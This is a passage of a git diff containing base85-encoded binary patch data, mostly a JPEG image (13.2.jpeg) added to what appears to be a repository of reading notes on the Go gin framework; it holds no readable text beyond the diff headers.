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 literal 0 HcmV?d00001 diff --git a/golang_frame/go_to_gin/gin阅读/img/13.2.jpeg b/golang_frame/go_to_gin/gin阅读/img/13.2.jpeg new file mode 100644 index 0000000000000000000000000000000000000000..cdb11631abad1fde3f5c7acf86588234b016d39e GIT binary patch literal 22218 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 